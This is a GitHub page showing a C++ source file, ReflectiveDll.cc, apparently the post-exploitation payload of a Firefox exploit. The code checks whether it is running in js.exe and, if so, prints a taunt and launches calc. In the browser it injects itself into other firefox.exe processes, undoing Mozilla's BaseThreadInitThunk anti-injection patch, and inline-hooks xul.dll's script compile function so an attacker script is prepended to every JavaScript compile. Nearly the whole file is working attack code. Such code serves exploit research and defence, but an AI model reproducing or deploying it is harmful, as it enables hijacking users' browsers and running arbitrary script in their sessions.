This repository has been archived by the owner on Dec 27, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 58
/
ReflectiveDll.cc
452 lines (357 loc) · 11.9 KB
/
ReflectiveDll.cc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include <stdint.h>
#include <tlhelp32.h>
#include <memory>
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern "C" HINSTANCE hAppInstance;
//===============================================================================================//
// Axel '0vercl0k' Souchet - 3 May 2019
#include "injected-script.h"
extern "C" DWORD GetReflectiveLoaderOffset(VOID *);
struct SourceText {
wchar_t *units_;
uint32_t length_;
bool ownsUnit_;
};
static_assert(sizeof(SourceText) == 0x10, "Size should be matching sizeof(xul!JS::SourceText<char16_t>).");
using je_malloc_t = wchar_t* (*)(const size_t Size);
using je_free_t = void (*)(wchar_t*);
extern "C" uint64_t trampoline_data_address_hooked;
extern "C" uint64_t trampoline_data_address_original;
extern "C" void trampoline_begin();
extern "C" void trampoline_end();
extern "C" void trampoline_savedoffbytes_space_start();
extern "C" void trampoline_savedoffbytes_space_end();
LPVOID Page(const uint8_t *Address) {
return LPVOID(uintptr_t(Address) & 0xfffffffffffff000);
}
class ScopedVirtualProtect {
public:
explicit ScopedVirtualProtect(
uint8_t *Address,
const DWORD Properties
) : m_BaseAddress(Page(Address)), m_OldProtect(0) {
VirtualProtect(m_BaseAddress, kPageSize, Properties, &m_OldProtect);
}
~ScopedVirtualProtect() {
VirtualProtect(m_BaseAddress, kPageSize, m_OldProtect, &m_OldProtect);
}
private:
const size_t kPageSize = 0x1000;
const LPVOID m_BaseAddress;
DWORD m_OldProtect;
};
void ExecutionContext_Compile(
const uintptr_t This,
const uintptr_t CompileOpts,
SourceText *Buffer
) {
//
// Retrieve the alloc / free functions.
//
static je_malloc_t je_malloc = nullptr;
static je_free_t je_free = nullptr;
if(je_malloc == nullptr) {
const HMODULE Mozglue = GetModuleHandleA("mozglue.dll");
je_malloc = je_malloc_t(GetProcAddress(
Mozglue,
"malloc"
));
je_free = je_free_t(GetProcAddress(
Mozglue,
"free"
));
}
//
// This is the script injected and prepended at every call.
//
const size_t InjectedLength = wcslen(Injected);
const size_t NewBufferSizeBytes = (Buffer->length_ + InjectedLength + 1) * sizeof(wchar_t);
wchar_t *NewBuffer = (wchar_t*)je_malloc(NewBufferSizeBytes);
memcpy(NewBuffer, Injected, InjectedLength * sizeof(wchar_t));
memcpy(NewBuffer + InjectedLength, Buffer->units_, Buffer->length_ * sizeof(wchar_t));
NewBuffer[InjectedLength + Buffer->length_] = 0;
//
// Free the old buffer if it owned it.
//
if(Buffer->ownsUnit_) {
je_free(Buffer->units_);
}
Buffer->units_ = NewBuffer;
Buffer->length_ = uint32_t((NewBufferSizeBytes / sizeof(wchar_t)) - 1);
}
#pragma pack(push)
#pragma pack(1)
void InjectMyself(const LPVOID ReflectiveCopy, const DWORD Pid) {
//
// Figure out if we can pivot into this process first.
//
HANDLE Process = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
Pid
);
if(Process == INVALID_HANDLE_VALUE) {
return;
}
//
// Grab the size of our image.
//
const uintptr_t Base = uintptr_t(ReflectiveCopy);
const auto ImageDosHeader = PIMAGE_DOS_HEADER(Base);
const auto NtHeaders = PIMAGE_NT_HEADERS(Base + ImageDosHeader->e_lfanew);
const size_t SizeOfImage = NtHeaders->OptionalHeader.SizeOfImage;
//
// Allocate memory in the process.
//
const LPVOID BackingMemory = VirtualAllocEx(
Process,
nullptr,
SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READ
);
//
// Copy us over.
//
WriteProcessMemory(
Process,
BackingMemory,
ReflectiveCopy,
SizeOfImage,
nullptr
);
//
// Mozilla doesn't want people injecting in their process.
//
// 0:034> u kernel32!BaseThreadInitThunk
// KERNEL32!BaseThreadInitThunk:
// 00007ff8`10ac7960 49bbb05b89f6ff7f0000 mov r11,offset mozglue!patched_BaseThreadInitThunk (00007fff`f6895bb0)
// 00007ff8`10ac796a 41ffe3 jmp r11
//
const uint8_t StolenBytes[] {
// 00007ff8`10ac7960 4883ec28 sub rsp,28h
0x48, 0x83, 0xec, 0x28,
// 00007ff8`10ac7964 85c9 test ecx,ecx
0x85, 0xc9,
// 00007ff8`10ac7966 7515 jne KERNEL32!BaseThreadInitThunk+0x1d
0x75, 0x15,
// 00007ff8`10ac7968 498bc8 mov rcx,r8
0x49, 0x8b, 0xc8,
// 00007ff8`10ac796b 488bc2 mov rax,rdx
0x48, 0x8b, 0xc2,
0xff, 0x15
};
const LPVOID BaseThreadInitThunk = GetProcAddress(GetModuleHandleA("kernel32.dll"),
"BaseThreadInitThunk"
);
WriteProcessMemory(
Process,
BaseThreadInitThunk,
StolenBytes,
16,
nullptr
);
//
// Find the loader entry-point offset.
//
const uintptr_t ReflectiveLoaderOffset = GetReflectiveLoaderOffset(ReflectiveCopy);
//
// Creates a thread on the loader now.
//
CreateRemoteThread(
Process,
nullptr,
0,
LPTHREAD_START_ROUTINE((uint8_t*)BackingMemory + ReflectiveLoaderOffset),
nullptr,
0,
nullptr
);
//
// It's over!
//
CloseHandle(Process);
}
void Payload(const LPVOID ReflectiveCopy) {
//
// Execute a different payload if we execute the exploit from js.exe and not
// from the browser.
//
const uintptr_t XulBase = uintptr_t(GetModuleHandleA("xul.dll"));
if(XulBase == 0) {
//
// This probably means we are exploiting js.exe, so show the user some love :).
//
for(size_t Idx = 0; Idx < 137; ++Idx) {
printf("PWND");
}
STARTUPINFOA Si;
memset(&Si, 0, sizeof(Si));
Si.cb = sizeof(Si);
PROCESS_INFORMATION Pi;
CreateProcessA(
nullptr,
"calc",
nullptr,
nullptr,
FALSE,
0,
nullptr,
nullptr,
&Si,
&Pi
);
ExitProcess(137);
return;
}
if(ReflectiveCopy != nullptr) {
//
// We look for other accessible process, inject the reflective dll,
// and execute it.
//
HANDLE SnapHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(SnapHandle == INVALID_HANDLE_VALUE) {
return;
}
PROCESSENTRY32 ProcessEntry;
ProcessEntry.dwSize = sizeof(ProcessEntry);
if(!Process32First(SnapHandle, &ProcessEntry)) {
CloseHandle(SnapHandle);
return;
}
//
// Walk through the snapshot, and inject into every process we have
// access to. Let's make sure to not inject in ourself though :).
//
do {
if(_stricmp(ProcessEntry.szExeFile, "firefox.exe") != 0 ||
GetCurrentProcessId() == ProcessEntry.th32ProcessID) {
continue;
}
//
// Time for injection!.
//
InjectMyself(ReflectiveCopy, ProcessEntry.th32ProcessID);
} while(Process32Next(SnapHandle, &ProcessEntry));
//
// We are done with the snapshot, close it down.
//
CloseHandle(SnapHandle);
//
// Once we are done let's just take a nap :-).
//
while(1) {
Sleep(10000);
}
}
//
// Initialize a bunch of constants; the hook targets:
// `nsresult nsJSUtils::ExecutionContext::Compile`
//
const uintptr_t ExecutionContext_CompileOffset = 0xfe7750;
uint8_t *ExecutionContext_CompileAddress = (uint8_t*)(
XulBase + ExecutionContext_CompileOffset
);
//
// Let's allocate ourself a nice executable heap, as well as a landing spot for our
// inline hook.
//
const uintptr_t SavedOffBytesSize = uintptr_t(
trampoline_savedoffbytes_space_end
) - uintptr_t(trampoline_savedoffbytes_space_start);
const uintptr_t TrampolineSize = uintptr_t(
trampoline_end
) - uintptr_t(trampoline_begin);
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
uint8_t *TrampolineAddress = (uint8_t*)HeapAlloc(HeapHandle, 0, TrampolineSize);
//
// Fix the address of the hook function in the trampoline: the trampoline calls it.
//
trampoline_data_address_hooked = uintptr_t(ExecutionContext_Compile);
//
// Fix the address of where the trampoline has to dispatch execution back to.
//
trampoline_data_address_original = uintptr_t(
ExecutionContext_CompileAddress
) + SavedOffBytesSize;
//
// Now that the trampoline is prepared, we can stage it in the memory we allocated.
//
memcpy(TrampolineAddress, trampoline_begin, TrampolineSize);
//
// Copy out a number of bytes from the entry point of the function to our trampoline.
//
const uintptr_t OffsetSavedOffBytes = uintptr_t(
trampoline_savedoffbytes_space_start
) - uintptr_t(trampoline_begin);
memcpy(
TrampolineAddress + OffsetSavedOffBytes,
LPVOID(ExecutionContext_CompileAddress),
SavedOffBytesSize
);
//
// It is time for some hooking so let's make the function writeable.
//
ScopedVirtualProtect Rwx(ExecutionContext_CompileAddress, PAGE_EXECUTE_READWRITE);
//
// Prepare a 'mov rax, imm64 / jmp rax' that is going to be placed at the entry-point
// of the target function. This jumps right into the trampoline that we previously
// set-up in memory.
// This jmp is 12 bytes long :-(.
//
struct {
uint8_t MovRax[2];
uint64_t MovRaxValue;
uint8_t JmpRax[2];
} BranchToTrampoline;
// mov rax, target
BranchToTrampoline.MovRax[0] = 0x48;
BranchToTrampoline.MovRax[1] = 0xb8;
BranchToTrampoline.MovRaxValue = uint64_t(TrampolineAddress);
// jmp rax
BranchToTrampoline.JmpRax[0] = 0xff;
BranchToTrampoline.JmpRax[1] = 0xe0;
//
// At this point we atomically patch the entry-point with an infinite loop so that
// we can copy the rest of the jmp without worrying about races between threads
// executing and us placing the hook.
//
const uint16_t InfiniteLoop = 0xfeeb;
InterlockedExchange16((SHORT*)ExecutionContext_CompileAddress, InfiniteLoop);
//
// We can now copy the rest of the jmp. We copy past the two bytes that are now
// the infinite loop, we'll update them atomically just below.
//
memcpy(
ExecutionContext_CompileAddress + sizeof(InfiniteLoop),
&BranchToTrampoline.MovRaxValue,
sizeof(BranchToTrampoline) - 2
);
//
// At this point everything is ready, so we can atomically update the entry-point
// of the function with the proper code.
//
InterlockedExchange16(
(SHORT*)ExecutionContext_CompileAddress,
// This is a bit ugly D:.
*(uint16_t*)BranchToTrampoline.MovRax
);
}
#pragma pack(pop)
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID ReflectiveCopy) {
switch(dwReason) {
case DLL_PROCESS_ATTACH: {
hAppInstance = hinstDLL;
Payload(ReflectiveCopy);
break;
}
}
return FALSE;
}